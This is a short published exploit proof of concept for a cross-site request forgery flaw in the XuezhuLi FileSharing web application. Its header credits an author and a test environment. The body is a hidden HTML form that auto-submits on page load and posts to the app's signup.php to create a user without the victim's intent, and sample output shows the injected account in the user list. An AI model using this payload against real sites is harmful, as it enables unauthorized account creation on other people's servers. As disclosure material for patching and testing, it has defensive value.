<!-- # Exploit Title: XuezhuLi FileSharing - CSRF(Add User) # Date: 2016-06-23 # Exploit Author: HaHwul # Exploit Author Blog: www.hahwul.com # Vendor Homepage: https://github.com/XuezhuLi # Software Link: https://github.com/XuezhuLi/FileSharing/archive/master.zip # Version: Latest commit # Tested on: Debian [wheezy] --> <form name="csrf_poc" action="http://127.0.0.1/vul_test/FileSharing/signup.php" method="POST"> <input type="hidden" name="sign" value="ok"> <input type="hidden" name="newuser" value="csrf_test"> <input type="submit" value="Replay!"> </form> <script type="text/javascript">document.forms.csrf_poc.submit();</script> <!-- Output. #> cat /srv/userlists.txt aaaa csrf_test -->